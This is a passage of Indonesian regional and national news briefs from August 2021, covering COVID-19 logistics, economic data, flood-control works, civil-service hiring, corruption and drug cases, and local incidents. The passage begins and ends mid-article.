dilakukan dengan cara yang belum menghitung moralitas konstitusional. "Harapan saya Mahkamah Konstitusi bisa melihat moralitas konstitusional yang ada dalam konstitusi itu sendiri," ucap dia. Dalam sidang virtual tersebut, Majelis Hakim Prof Saldi Isra mengingatkan Prof Zainal agar fokus pada pembahasan uji formil UU Cipta Kerja bukan UU KPK. "Saya hanya mengambil contoh UU KPK karena itu yang terdekat. Sebenarnya banyak putusan lain yang bisa kita kritisi," ujarnya. (mth)

Dukung Penanganan COVID-19, KAI Gratiskan Angkutan Oksigen 80 Ton

Jakarta, FNN - PT Kereta Api Indonesia (Persero) menggratiskan angkutan oksigen milik Kementerian Kesehatan sebanyak 80 ton melalui kereta api dengan rute Stasiun Tanjung Priok, Jakarta menuju Stasiun Kalimas, Surabaya pada Kamis (5/8), dimana keberangkatan Kereta Api tersebut disaksikan oleh Wakil Menteri Kesehatan Dante Saksono Harbuwono dan Direktur Utama KAI Didiek Hartantyo. Oksigen yang didatangkan dari Singapura itu diangkut menggunakan 4 gerbong ISO Tank yang masing-masing berisi 20 ton oksigen. Rencananya oksigen tersebut akan didistribusikan bagi masyarakat di Jawa Timur. “Angkutan ISO Tank oksigen gratis ini kami operasikan dalam rangka membantu masyarakat dan pemerintah menangani COVID-19,” kata Direktur Utama PT KAI Didiek Hartantyo dalam keterangan tertulis, Kamis. Didiek mengatakan KAI menyambut baik dan mensupport penuh program tersebut serta selalu siap melayani pada kesempatan berikutnya apabila Kementerian Kesehatan membutuhkan angkutan untuk mendistribusikan alat kesehatan maupun oksigen. Sehingga harapannya KAI menjadi salah satu pionir yang berkontribusi positif di dalam pencegahan penyebaran COVID-19 ini. “Angkutan kereta api seperti kita ketahui memiliki banyak keunggulan, kami jamin keamanannya, kami jamin keselamatannya, dan kami jamin ketepatan waktunya. Sehingga Kereta Api yang akan kita berangkatkan pukul 08.15 ini akan sampai di Surabaya pada pukul 18.15, sekitar 10 jam,” ungkap Didiek. Didiek juga berharap kerja sama yang dibangun antara KAI dengan Kementerian Kesehatan dapat berlangsung baik serta saling bersinergi dan berkolaborasi dalam rangka pencegahan penyebaran COVID-19. Di samping pengiriman oksigen secara gratis, KAI juga menjalankan vaksinasi gratis di stasiun-stasiun KA Jarak Jauh dan KRL Jabodetabek. Tujuannya untuk mempercepat vaksinasi bagi masyarakat sehingga herd Immunity segera terbangun sesuai harapan pemerintah. “Kami berharap langkah KAI ini bisa membantu pemerintah dalam upaya percepatan penanganan Covid-19, sehingga pandemi segera teratasi dan kita dapat kembali ke masa-masa kehidupan yang normal,” kata Didiek. Sementara itu, Wakil Menteri Kesehatan Dante Saksono Harbuwono mengatakan, sebelum pandemi, untuk Jawa-Bali dibutuhkan oksigen sebanyak 400 ton sehari, namun pada saat pandemi terutama beberapa waktu belakangan ini terjadi peningkatan, maka kebutuhan oksigen meningkat 4-5 kali. "Evaluasi yang kami lakukan, tidak mudah untuk mendistribusikan dan pengadaaan oksigen ke seluruh rumah sakit. Salah satu wujud nyata Instansi/BUMN turut serta berkolaborasi dalam pengadaan kebutuhan oksigen tersebut, seperti apa yang sudah dilakukan oleh PT KAI hari ini. Saya ucapkan terima kasih kepada PT KAI atas bantuannya mengantar oksigen untuk kebutuhan masyarakat Jawa Timur,” kata Dante. Dante mengatakan transportasi kereta api lebih unggul dari sisi kecepatan dibandingkan angkutan darat lainnya. “Jika diantar dengan transportasi bus akan memakan waktu 24-36 jam. Dengan moda transportasi kereta api ini, maka kecepatannya berkali-kali lipat. Kita bisa memotong rantai kecepatan distribusi itu menjadi lebih cepat," ucap Dante. Pada masa PPKM Level 4 ini, KAI melalui anak usahanya KAI Logistik menghadirkan promo dengan menggratiskan biaya angkutan oksigen dan tabung oksigen kosong menggunakan Kereta Api untuk kepentingan non komersial. Untuk syarat dan ketentuan selengkapnya terkait angkutan oksigen gratis menggunakan Kereta Api ini masyarakat dapat menghubungi call center KAI Logistik di Telepon 150121, email cs@kalogistics.co.id dan WhatsApp di 081388223205 serta di media sosial Instagram @kalogistics, twitter @KA_Logistics, dan Facebook KeretaApiLogistik. (mth)

Mendag Lutfi: Konsumsi Membaik Bahkan Melebihi Era Sebelum Pandemi

Jakarta, FNN - Menteri Perdagangan Muhammad Lutfi mengatakan pertumbuhan konsumsi rumah tangga selama kuartal II 2021 mencapai 5,93 persen, yang mengindikasikan perbaikan bahkan melebihi tren konsumsi di Indonesia sebelum timbul dampak pandemi COVID-19. “Pertumbuhan konsumsi sudah berada di 5,93 persen (year on year/yoy), atau sebenarnya data ini menunjukkan bahwa level ini sudah kembali, bahkan lebih baik dibandingkan sebelum masa pandemi,” kata Lutfi dalam dialog ekonomi dalam kanal Youtube Sekretariat Presiden di Jakarta, Kamis. Mendag membandingkan pertumbuhan konsumsi rumah tangga kuartal II 2021 dengan periode sebelum pandemi yakni kuartal I 2019 dan kuartal II 2019. Saat itu pertumbuhan konsumsi rumah tangga masing-masing hanya 5,02 persen dan 5,18 persen. Padahal konsumsi rumah tangga merupakan komponen pengeluaran terbesar dalam struktur pertumbuhan ekonoi yakni mencapai 57,23 persen Produk Domestik Bruto (PDB) Indonesia, berdasarkan data Badan Pusat Statistik (BPS) di kuartal II 2021. Berdasarkan data BPS itu, porsi konsumsi rumah tangga menunjukkan kenaikan dibanding kuartal I 2021 yang sebesar 57,6 persen. Pada kuartal II 2021 komponen pengeluaran lain seperti ekspor dan impor juga tumbuh signifikan yakni 31,7 persen dan 31, 2 persen, sedangkan konsumsi pemerintah naik 8,06 persen dan Pembentukan Modal Tetap Bruto (PMTB) tumbuh 7,5 persen. “Impor juga sudah jauh membaik dibandingkan periode-periode sebelum pandemi COVID-19,” ujar Lutfi. Pertumbuhan sektor pengeluaran tersebut mendorong kegiatan ekonomi domestik untuk tumbuh secara kumulatif mencapai 7,07 persen (yoy) pada kuartal II 2021 ini. Pertumbuhan ekonomi sebesar 7,07 persen (yoy) pada kuartal II 2021 membuat Indonesia secara teknikal keluar dari zona resesi yang telah dialami sejak empat kuartal sebelumnya. Dalam dialog yang sama, Ekonom yang juga Mantan Menteri Keuangan Chatib Basri mengatakan konsumsi rumah tangga yang bertumbuh 5,93 persen disebabkan longgarnya ketentuan mobilitas masyarakat selama kuartal II 2021. Pada kuartal II 2021 atau periode April hingga Juni 2021, pemerintah belum menerapkan PPKM Darurat atau PPKM berbagai level, yang baru diterapkan pada awal Juli 2021. Pelonggaran mobilitas masyarakat, kata Chatib, meningkatkan konsumsi dan permintaan domestik, yang juga memberikan efek pengganda ekonomi ke sektor-sektor lain seperti industri dan bidang jasa. “Mobilitas kembali bergerak di kuartal II 2021. Belanja untuk sektor ritel naik, permintaan juga naik, kemudian dengan naiknya sektor rumah tangga, permintaan banyak dan direspons oleh produksi,” ujar Chatib. (mth)

Kementerian PUPR Lanjutkan Pembangunan Sodetan Sungai Ciliwung

Jakarta, FNN - Kementerian Pekerjaan Umum dan Perumahan Rakyat atau PUPR melanjutkan pembangunan sodetan Sungai Ciliwung ke Kanal Banjir Timur. Menteri PUPR Basuki Hadimuljono mengatakan pembangunan sodetan ini akan mengurangi debit banjir Sungai Ciliwung dengan mengalirkan air sebesar 60 meter kubik/detik ke Kanal Banjir Timur, saat Sungai Ciliwung sudah tidak lagi mampu menampung debit air pada perkiraan debit banjir ulang 25 tahunan sebesar 508 meter kubik/detik. “Sehingga Insya Allah akan mengurangi risiko banjir pada beberapa kawasan di hilir Sungai Ciliwung, misalnya Kampung Melayu dan Manggarai,” kata Menteri Basuki dalam keterangan tertulis yang diterima di Jakarta, Kamis. Menurut Menteri PUPR, pembangunan lanjutan sodetan Ciliwung mengalami perubahan trase sehingga mengurangi panjang terowongan 113 meter dari panjang semula 662 meter menjadi 549 meter saja. Saat ini pekerjaan sodetan akan segera dimulai dan menyisakan pembebasan 6 bidang tanah seluas 10.494 meter persegi yang akan dieksekusi oleh Kantor Badan Pertanahan Nasional (BPN) setempat. “Kalau pembebasan lahan sudah selesai, maka berdasarkan pengalaman sebelumnya, konstruksinya bisa selesai lebih cepat” kata Menteri Basuki. Pada tahun 2015, pembangunan sodetan Sungai Ciliwung telah tuntas sepanjang 550 meter. Kemudian dilanjutkan pada 2015-2017 dengan pembangunan permanen outlet dan dinding penahan tanah Kali Cipinang. Pada TA 2021, Kementerian PUPR melanjutkan pekerjaan sodetan Sungai Ciliwung ke Kanal Banjir Timur sepanjang 714 meter yang terdiri dari Zona A berupa bangunan permanen inlet open channel 165 meter dan normalisasi Sungai Ciliwung, Zona B berupa terowongan ganda sodetan dari inlet ke arriving shaft 549 meter, dan dan Zona D normalisasi Kali Cipinang dan KBT. Pembangunan sodetan Sungai Ciliwung dilaksanakan oleh kontraktor PT. Wijaya Karya- PT. Jaya Konstruksi, KSO dan konsultan supervisi PT. Virama-Supra-TAA, KSO dengan masa pelaksanaan Agustus 2021-Agustus 2023. Alokasi anggaran untuk konstruksi sodetan (terowongan) dan galian alur untuk menambah kapasitas tampung sungai Cipinang sebesar Rp683,9 miliar. Proyek Sodetan Sungai Ciliwung merupakan bagian dari rencana induk sistem pengendalian banjir (flood control) Ibu Kota Jakarta dari hulu hingga hilir. Di bagian hulu, Kementerian PUPR tengah menyelesaikan pembangunan 2 bendungan kering (dry dam) di Kabupaten Bogor yakni Bendungan Ciawi dengan kapasitas tampung 6,05 juta meter kubik dan Bendungan Sukamahi berkapasitas tampung 1,68 juta meter kubik. Progres kedua bendungan ini sudah di atas 75 persen dan ditargetkan selesai November 2021. Selanjutnya di bagian tengah dikerjakan normalisasi Sungai Ciliwung sejak tahun 2013 hingga 2017 sepanjang 16,2 km dari total 33,7 km. Mulai tahun 2021 dilanjutkan pekerjaan normalisasi Kali Ciliwung sepanjang 1,2 km dan pengadaan tanah. Kemudian pembangunan Stasiun Pompa Ancol Sentiong kapasitas 50 meter kubik/detik dilaksanakan tahun 2020 – 2022 dengan biaya Rp437,6 miliar serta pembangunan sodetan Sungai Ciliwung menuju Kanal Banjir Timur sepanjang 1,26 km yang sudah kontrak sejak 30 Juli 2021. Kemudian upaya mengurangi risiko banjir wilayah Jakarta bagian hilir juga dibangun Tanggul Pantai untuk pantai dan muara sungai yang kritis sepanjang 46,2 km. Tanggul yang telah dikerjakan sepanjang 13 km dan rencananya akan dikerjakan sepanjang 33,2 km yang terbagi menjadi 2 yakni Kementerian PUPR (10,8 km) dan Pemprov DKI Jakarta (22,4 km). Tahun 2021, Kementerian PUPR mengerjakan tanggul sepanjang 3,8 km. (mth)

Sebanyak 5.393 Pelamar Calon ASN Pemprov Kaltara Lolos Seleksi Administrasi

Nunukan, FNN - Sebanyak 5.393 pelamar calon aparatur sipil negara (ASN) yang terdiri pegawai negeri sipil (CPNS) dan pegawai pemerintah dengan perjanjian kontrak (PPPK) non guru di lingkup Pemprov Kalimantan Utara dinyatakan lolos administrasi. "Sementara dua formasi dinyatakan tidak lolos atau tidak memenuhi syarat (TMS). Bagi yang tidak lolos jangan berkecil hati masih bisa mengajukan sanggahan sesuai waktu yang ditentukan," kata Gubernur Kaltara H Zainal A Paliwang melalui sambungan telepon dari Nunukan, Kamis. Ia menjelaskan, laporan yang diterima dari BKD Provinsi Kaltara bahwa pelamar yang dinyatakan TMS atau tidak lolos seleksi administrasi dapat mengetahui alasan sehingga dinyatakan tidak lolos melalui akun masing-masing. Waktu pengajuan sanggahan berlangsung selama tiga hari yakni 6-8 Agustus 2021 dan diumumkan hasilnya pada 15 Agustus 2021. Hanya saja, panitia seleksi daerah penerimaan CPNS dan PPPK dapat menolak sanggahan pelamar bersangkutan. Mengenai pelamar yang lolos administrasi, Gubernur Kaltara berpesan agar mempersiapkan diri untuk mengikuti tahapan berikutnya termasuk tes psikologis dan kemampuan intelektual. Data yang diperoleh dari BKD Kaltara, sebanyak 5.228 pelamar untuk formasi PNS dan 165 pelamar PPPK non guru. Pelamar PPPK guru berjumlah 500 orang seleksinya menjadi kewenangan Panitia Pengadaan Guru PPPK Kementerian Pendidikan dan Kebudayaan RI. (mth)

Dinkes Sulsel: Stok Obat untuk Pasien COVID-19 Terbatas

Makassar, FNN - Dinas Kesehatan Provinsi Sulawesi Selatan mengemukakan stok obat untuk pasien COVID-19 di daerah itu terbatas. "Obat-obatan tersedia dengan status terbatas. Jadi kami berasumsi bahwa kemungkinan ketersediaan obat di tingkat pusat juga sedang minim," kata Kepala Bidang Sumber Daya Kesehatan pada Dinas Kesehatan Sulsel, Dra Fithriyani Apt ​​​di Makassar, Kamis. Apalagi baru-baru ini pengiriman obat COVID-19 jenis oseltamivir hanya dipenuhi 30 persen oleh pusat dari 100 ribu tablet permintaan Dinkes Sulsel. Padahal sebelumnya, pemenuhan obat dari permintaan tidak pernah kurang dari 50 persen. Menurutnya, pemenuhan obat-obatan pernah terkendali pada akhir 2020 saat kasus melandai. Namun keterbatasan yang terjadi saat ini, bisa jadi dipengaruhi peningkatan kasus yang menanjak tajam, sehingga diperkirakan industri obat kewalahan berproduksi. "Mungkin karena ketersediaan bahan baku, jadi banyak hal yang terkait. Jika dulu daerah minta 1.000, maka langsung diiyakan tetapi sekarang kita liat dulu status wilayahnya," ujarnya. Meski demikian, Fitri menegaskan bahwa ketersediaan obat bagi pasien COVID-19 tidak pernah kosong, namun diakui bahwa memang terbatas sehingga distribusi obat dilakukan secara hati-hati. Selain itu, ia pula memastikan bahwa gudang farmasi milik Pemprov Sulsel tetap menyiapkan buffer stock atau cadangan obat. Ini untuk mengantisipasi terjadinya peningkatan kasus secara drastis pada suatu daerah di Sulsel. "Kita tidak bisa kosong (stok obat) tetapi sekarang memang hati-hati mengirimkan ke daerah. Jika ada permintaan masuk, kita cek kembali seperti apa kasus COVID-19 di daerah tersebut. Karena pembagiannya harus merata sesuai status daerah terhadap penularan virus corona," urainya. Fitri menjelaskan bahwa hingga saat ini belum ada obat COVID-19, namun para ahli penyakit paru menyarankan empat jenis obat yang bisa digunakan untuk pengobatan yakni oseltamivir, favipiravir, azithromycin dan remdesivir. Adapun ketersediaan stok obat COVID-19 di Sulsel hingga Rabu yakni oseltamivir 6.740 tablet, favipiravir 19.950 tablet, azithromycin 11.905 tablet dan remdesivir 1.690 tablet. "Yang utama dan rutin ada empat jenis. Kalau vitamin lumayan banyak, karena bukan cuma pasien COVID-19 yang butuh tetapi kita juga para petugas. Jumlahnya sebanyak 1.474.000 tablet. Terkait keterbatasan obat tersebut, Dinkes Sulsel juga turun langsung ke pihak distribusi obat untuk mencek langsung ketersediaannya. Maka didapati stok obat milik Kimia Farma dan Biofarama di lapangan juga sudah menipis. "Kalau distributor sudah ada inden (daftar tunggu) karena memang sebelum habis, mereka juga langsung minta. Kita kan punya sistem aplikasi yang mengintegrasikan obat yang tersedia dan keluar," ujarnya. (mth)

KPK Eksekusi Terpidana Suap Alih Fungsi Hutan Riau ke Lapas Sukamiskin

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengeksekusi Legal Manager PT Duta Palma Suheri Terta ke Lembaga Pemasyarakatan (Lapas) Kelas I Sukamiskin, Kota Bandung, Jawa Barat. Suheri adalah terpidana perkara suap terkait dengan izin pengajuan revisi alih fungsi hutan di Provinsi Riau pada tahun 2014. Pelaksana Tugas (Plt.) Juru Bicara KPK Ali Fikri di Jakarta, Kamis, mengatakan bahwa jaksa eksekusi Hendra Apriansyah telah selesai melaksanakan putusan Pengadilan Tipikor pada PN Pekanbaru Nomor: 26/Pid.Sus-TPK/2020/PN.Pbr tanggal 9 September 2020 juncto putusan MA Nomor: 190K/Pid.Sus/2021 tanggal 30 Maret 2021 atas nama terpidana Suheri Terta pada hari Rabu (4/8). "Dengan cara memasukkannya ke Lapas Kelas I Sukamiskin untuk menjalani pidana penjara selama 3 tahun dikurangi selama berada dalam tahanan," kata Ali dalam keterangannya. Terpidana Suheri pada tingkat putusan MA telah dinyatakan terbukti bersalah melakukan tindak pidana korupsi secara bersama-sama dan dibebankan pula untuk melakukan pembayaran uang denda sebesar Rp50 juta dengan ketentuan apabila tidak dibayarkan, diganti dengan pidana kurungan selama 3 bulan. Sebelumnya, permohonan kasasi tim jaksa penuntut umum (JPU) KPK atas vonis bebas terdakwa Suheri diterima MA. Putusan kasasi tersebut dibacakan pada tanggal 30 Maret 2021 dengan amar pada pokoknya sebagai berikut. 1. Menyatakan terdakwa Suheri Terta terbukti secara sah dan menyakinkan bersalah melakukan tindak pidana korupsi secara bersama-sama. 2. Menjatuhkan pidana kepada terdakwa oleh karena itu dengan pidana penjara selama 3 tahun dan pidana denda sebesar Rp50 juta dengan ketentuan apabila denda tersebut tidak dibayar maka diganti dengan pidana kurungan selama 3 bulan. 3. Memerintahkan terdakwa untuk ditahan. KPK pada tanggal 29 April 2019 telah mengumumkan Suheri bersama korporasi PT Palma Satu dan Surya Darmadi selaku pemilik PT Darmex Group dan PT Duta Palma sebagai tersangka. (sws)

RSUD Babel Tambah 100 Tempat Tidur Pasien COVID-19

Pangkalpinang, FNN - Rumah Sakit Umum Daerah Dr. (H.C.) Ir. Soekarno Provinsi Kepulauan Bangka Belitung kembali menambah 100 tempat tidur untuk pasien COVID-19, guna mengantisipasi kasus penularan virus corona yang melonjak. "Penambahan tempat tidur ini untuk penanganan pasien COVID-19 berstatus berat dan sedang," kata Gubernur Kepulauan Babel Erzaldi Rosman Djohan dalam keterangan persnya yang diterima ANTARA di Pangkalpinang, Kamis. Ia mengatakan, penambahan 100 tempat tidur ini diperuntukkan 50 pasien COVID-19 dalam kondisi berat dan 50 pasien COVID-19 berstatus sedang, sebagai langkah pemerintah provinsi dalam meningkatkan pelayanan kesehatan kepada masyarakat. "Kita menambah fasilitas untuk penanganan pasien covid dengan status berat, karena ruang isolasi berat baru ada 25 tempat tidur sehingga fasilitas tempat tidur harus ditambah," ujarnya. Menurut dia langkah pemprov ini dalam meningkatkan pelayanan kesehatan dan penanganan COVID-19 juga harus didukung masyarakat dengan tetap menjalankan protokol kesehatan yang ketat, agar penyebaran virus corona dapat ditekan. "Ikuti aturan yang ditentukan oleh pemerintah dalam menjalankan PPKM Level 3 dan 4, kita terus berupaya melakukan sosialisasi dan membuat kebijakan termasuk melakukan pendisiplinan masyarakat, tetapi kunci keberhasilan itu semua adalah kebersamaan kita bersama untuk mematuhi protokol kesehatan," katanya. Ia menyatakan berdasarkan dari data yang masuk dari Dinas Kesehatan Babel per tanggal 3 Agustus 2021, jumlah kasus orang terkonfirmasi virus corona mencapai 34.998 jiwa atau mengalami peningkatan 831 kasus dibandingkan hari sebelumnya 34.167 kasus. Melihat data tersebut, orang nomor satu di Babel itu langsung memerintahkan Satgas Covid -19 Kota Pangkalpinang agar gencar memberikan sosialisasi kepada masyarakat, karena kesehatan masyarakat harus menjadi prioritas, dengan tetap memperhatikan sektor ekonomi agar tidak terpuruk. "Pembatasan ini kita terapkan dengan tetap memperhatikan sektor ekonomi, kesehatan, aspek sosial, dan aspek lainnya. dengan harapan PPKM level 3 dan 4 di Babel bisa turun, maka pesan saya kepada petugas, layanilah masyarakat dengan hati yang tulus, penuh kesabaran, iklas dan humanis sehingga tidak timbul masalah baru," katanya. (sws)

Mufida Dorong Percepatan Vaksin Merah Putih untuk Kebutuhan Vaksinasi

Jakarta, FNN - Anggota Komisi IX DPR RI Kurniasih Mufidayati mendorong percepatan vaksin Merah Putih untuk memenuhi kebutuhan vaksinasi nasional. Mufida dalam keterangannya diterima di Jakarta, Kamis, mengatakan percepatan itu bisa berupa penambahan daya dukung yang diperlukan dalam proses penelitian produksi vaksin Merah Putih yang saat ini memasuki tahap praklinis. Dia melihat kebutuhan vaksinasi nasional yang tinggi belum diimbangi dengan jumlah stok vaksin yang tersedia. "Setelah gelombang tinggi bulan Juli ini masyarakat menunjukkan antusiasme untuk mendapatkan vaksin hingga antre, tapi jumlah vaksin tidak sebanding," kata dia. Kemudian, laporan WHO juga menunjukkan ada ketimpangan vaksin antara Jawa dan luar Jawa. Laporan tersebut menyebut bahkan tenaga kesehatan di luar Jawa ada yang belum dapat vaksin. Karenanya, percepatan penelitian vaksin Merah Putih lewat daya dukung yang memadai diharapkan bisa membantu tercapainya target vaksinasi nasional sehingga bisa segera terbentuk kekebalan kelompok. "Masih ada tahap praklinis lalu uji klinis tahap satu, dua dan tiga termasuk nanti penilaian dari BPOM. Sejak awal kami di DPR mendukung penuh penelitian vaksin Merah Putih dan menegaskan dukungan apapun bisa kita dorong terpenuhi," kata Mufida.​​​​​​​ Mufida meminta pemerintah selain mengupayakan pengadaan vaksin dari luar negeri dengan beberapa skema, juga tetap serius mengembangkan vaksin Merah Putih. "Dalam upaya mengejar vaksinasi nasional akhir-akhir ini tidak disebut soal vaksin Merah Putih. Di tengah keterbatasan stok vaksin harus terus kita dorong vaksin Merah Putih sebab tidak hanya berkaitan dengan kesehatan tapi juga kedaulatan bahkan juga soal ekonomi, geopolitik dan sebagainya," ucapnya. Terlebih, lanjut dia di tengah laporan perlunya suntikan booster setelah enam bulan dari suntikan pertama karena efikasi vaksin akan menurun untuk vaksin Sinovac. Studi juga menyebut antibodi dari vaksin Pfizer dan Astra Zenecca akan menurun dalam 10 pekan. Artinya, menurut dia, ketersediaan stok dan proses vaksinasi berkejaran dengan waktu. "Sebab itu keberadaan vaksin Merah Putih amat penting untuk menjaga pasokan vaksin tetap ada di tengah kebutuhan vaksin saat efikasi menurun. Selain itu guna mencegah masyarakat mencari alternatif di luar yang belum tentu ada dalam pengawasan BPOM," ujar Mufida. (sws)

Polda Kalbar Sita Aset Tersangka Kasus Narkoba

Pontianak, FNN - Direktorat Reserse Narkoba Kepolisian Daerah Kalimantan Barat menyita aset lima orang tersangka dalam pengungkapan kasus bandar narkoba dengan barang bukti sebanyak 2.524 butir ekstasi. "Dalam pengungkapan kasus ini, kami menangkap lima tersangka, yakni berinisial Ro (34), Dj (31) keduanya asetnya Rp1 miliar, dan dari kasus kedua ditangkap tersangka Sm, Ih, dan Ww total yang ini Rp2 miliar," kata Direskrim Narkoba Polda Kalbar, Kombes (Pol) Yohanes Hernowo di Pontianak, Kamis. Kasus pertama pihaknya menangkap dua tersangka yakni Ro dan Dj dengan barang bukti 2.524 butir ekstasi, kemudian kasus kedua yang merupakan satu kelompok juga dengan kasus pertama ditangkap tiga tersangka, berinisial Sm, Ih dan Ww dengan total barang bukti 4 ons sabu-sabu. Dia menjelaskan, dari kelima tersangka tersebut, pihaknya menyita tiga unit mobil, tiga unit motor, satu unit rumah, uang tunai Rp151 juta, perhiasan dan buku tabungan bank. Untuk tersangka Ro total aset yang disita sebesar Rp700 juta, sedangkan tersangka Dj total aset yang disita sebesar Rp300 juta. "Kemudian dari tersangka Ww berhasil disita satu unit rumah, satu mobil, serta perhiasan atau total Rp1,1 miliar, dan sisanya dari kedua tersangka lainnya yakni Sm dan Ih atau total dalam kasus kedua Rp2 miliar," katanya. Dari hasil pemeriksaan sementara, kelima tersangka ini telah melakukan peredaran barang haram atau narkoba sudah dua tahun, katanya. Atas kejadian tersebut, tersangka akan disangkakan pasal 114 ayat (2) sub Pasal 112 ayat (2) Jo. Pasal 132 (1) Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika dengan ancaman hukuman pidana mati, seumur hidup atau penjara paling singkat enam tahun, dan paling lama 20 tahun, dan pidana denda paling sedikit Rp1 miliar dan paling banyak Rp10 miliar. Selain itu, kelima tersangka diancam tindak pidana pencucian uang dengan perkara pokok narkotika, Pasal 3 dan 4 UU No. 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang. Dalam kesempatan itu, Direskrim Narkoba Polda Kalbar menambahkan, hari ini juga pihaknya memusnahkan barang bukti ekstasi dan sabu-sabu guna mencegah hal-hal yang tidak diinginkan. (sws)

Polisi Selidiki Penyebab Kebakaran Empat Rumah di Mukomuko

Mukomuko, FNN - Kepolisian Resor Kabupaten Mukomuko, Polda Bengkulu, masih menyelidiki penyebab kebakaran empat bangunan rumah dan bedengan di Desa Bandar Jaya, Kecamatan Teramang Jaya, Kamis dini hari. "Saat ini kami masih melakukan penyelidikan asal mula adanya api sehingga terjadi kebakaran, perkiraaan sementara diduga berasal dari arus pendek listrik atau konsleting listrik," kata Kepala Kepolisian Resor Kabupaten Mukomuko, AKBP Andy Arisandi, dalam keterangannya di Mukomuko, Kamis. Ia mengatakan, dalam melakukan penyelidikan ini polisi akan meminta keterangan dari saksi Budi Hendri (40) pedagang dari Desa Bandar Kaya, Kecamatan Teramang Jaya. Selain itu, polisi akan membawa sejumlah barang bukti dari tempat kejadian peristiwa kebakaran empat bangunan rumah dan bedeng. Empat bangunan rumah dan bedeng yang hangus terbakar tersebut milik Supriadi (38) pegawai negeri sipil, Nasiran (58) pedagang, penghuni bedeng Wahyu Setiawan (28) teknisi bengkel dinamo, dan Tasim (59) pedagang. Ia mengatakan, kebakaran terjadi pada Kamis sekira pukul 00.30 WIB. Saat itu, korban sedang tidur. Tiba-tiba ada yang membangunkan dan memberi tahu melihat api di belakang rumah, namun api sudah besar. Kemudian korban meminta tolong kepada warga dan api berusaha dipadamkan. Dalam kebakaran tersebut, penghuni bedeng masih sempat mengeluarkan beberapa barang miliknya dan yang lainnya habis terbakar. Api dapat dipadamkan setelah mobil pemadam kebakaran tiba di tempat kejadian dan api padam sekitar pukul 02.30 WIB. Ia memperkirakan, kerugian materi yang dialami oleh korban kebakaran rumah di wilayah tersebut kurang lebih sekitar Rp250 juta. (sws)

Polda Kaltara Siapkan Langkah Antisipasi Dini Karhutla

Tanjung Selor, FNN - Polda Kalimantan Utara menyiapkan berbagai langkah untuk mengantisipasi dini ancaman kebakaran hutan dan lahan (Karhutla) meskipun tidak termasuk enam provinsi prioritas penanganan rawan bencana saat kemarau yang puncaknya diprediksi Agustus 2021. "Ada enam daerah prioritas Polri untuk prioritas penanganan Karhutla yakni wilayah Polda Riau, Kalbar, Kaltim, Kalteng dan juga Sumsel. Meski begitu, Kaltara tetap waspada dan antisipasi dini," kata Kabid Humas Polda Kaltara Kombes Pol Budi Rachmat di Tanjung Selor, Kamis. Selain membentuk Satgas Karhutla, Polda Kaltara juga mengambil langkah preventif dengan menggencarkan sosialisasi larangan membuka lahan dengan pembakaran serta sanksi hukumannya sesuai peraturan antara lain UU lingkungan Hidup dan UU Kehutanan. Polda Kaltara juga mengoptimalkan teknologi canggih yang dimiliki, salah satunya adalah aplikasi "Asap Digital" yang mampu mendeteksi titik panas atau hot spot di wilayah Kaltara. "Iya untuk pantauan Karhutla. Aplikasi ada di ruang Command Center Polda Kaltara dan dikelola oleh biro operasi Polda Kaltara," katanya. Pembangunan fasilitas itu sebagai bentuk antisipasi dari Polda Kaltara dengan memanfaatkan dana pusat terhadap ancaman karhutla yang setiap kemarau selalu mengintai. Diharapkan dengan keberadaan fasilitas itu maka ancaman kebakaran hutan dan lahan (Karhutla) di Kaltara dapat diantisipasi. Ancaman karhutla setiap tahun pada saat kemarau semakin tinggi karena terkait semakin luas pembukaan lahan untuk berbagai aktifitas. Saat ini, sebagian wilayah sudah memasuki musim kemarau, termasuk Kaltara sehingga perlu persiapan mengantisipasi ancaman tersebut. Awal pekan ini, Kapolda Kaltara Irjen Pol Bambang Kristiyono dan Gubernur Kaltara Drs Zainal A Paliwang melakukan nota kesepahaman bersama (MoU) untuk memanfaatkan fasilitas canggih guna mengantisipasi dini Karhutla itu. Gubernur Kaltara Zainal Arifin Paliwang mengatakan sangat mengapresiasi atas kinerja dan kreatifitas Kapolda Kaltara dalam mendukung program daerah, termasuk mitigasi bencana Karhutla. Polri mewaspadai Karhutla karena Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi sebagian wilayah Indonesia akan memasuki musim kemarau antara Mei dan Juli, dan puncaknya mulai Agustus 2021. Keseriusan pemerintah menghadapi masalah karhutla yang kini jadi "bencana rutin" setiap kemarau terlihat dengan lahirnya penandatangan Surat Keputusan Bersama (SKB) Penegakan Hukum Terpadu Tindak Pidana Kebakaran Hutan dan/atau Lahan antara Polri, Kementerian Lingkungan Hidup dan Kejaksaan di Jakarta, Kamis (6/5/2021). SKB ditandatangani oleh Menteri Lingkungan Hidup dan Kehutanan (LHK) Siti Nurbaya, Kapolri Jenderal Pol Listyo Sigit, dan Jaksa Agung Republik Indonesia ST Burhanuddin yang dihadiri Menkopolhukam Mahfud MD. SKB bertujuan agar ada koordinasi dan komunikasi lebih baik dalam penegakan hukum Karhutla antara Polri dengan kejaksaan. Setelah kepolisian melakukan penyelidikan dan penyidikan, Polri akan berkoordinasi dengan kejaksaan terkait saksi ahli yang dilibatkan dan petunjuk yang lain guna menghindari bolak balik berkas perkara. (sws)

Polres Solok Tangkap Pelajar 18 Tahun Diduga Pelaku Pencabulan

Arosuka, FNN - Polres Solok Arosuka, Sumbar, menangkap seorang pelajar berinisial RS (18), warga Nagari Koto Gaek Guguak, Kecamatan Gunung Talang, Kabupaten Solok, Sumbar atas dugaan kasus pencabulan di daerah setempat. Kasat Reskrim, Polres Solok Arosuka, Iptu Rifki Yudha Ersanda di Arosuka, Kamis membenarkan bahwa telah dilakukan penangkapan terhadap tersangka RS (18) di dalam rumahnya yang bertempat di Jorong Sukarami, Nagari Koto Gaek Guguak, Kecamatan Gunung Talang, Kabupaten Solok. "Benar, Personel Sat Reskrim di bawah pimpinan Ipda Syafri Afarizal, Kanit IV Satreskrim beserta unit PPA Sat Reskrim Polres Solok berhasil menangkap tersangka pada 14.00 WIB, Rabu (4/8)," kata dia. Tersangka RS ditangkap berdasarkan laporan dari salah seorang warga dan RS berhasil diamankan saat masih berada di dalam rumahnya. RS diduga melakukan tindakan pencabulan terhadap seorang anak perempuan usia 15 tahun. "Pada saat dilakukan penangkapan, RS berada di dalam rumahnya sedang duduk bersama seorang temannya," ujar dia. Tim Satreskrim pun kemudian mendatanggi kediaman RS. Pada saat melakukan penangkapan RS 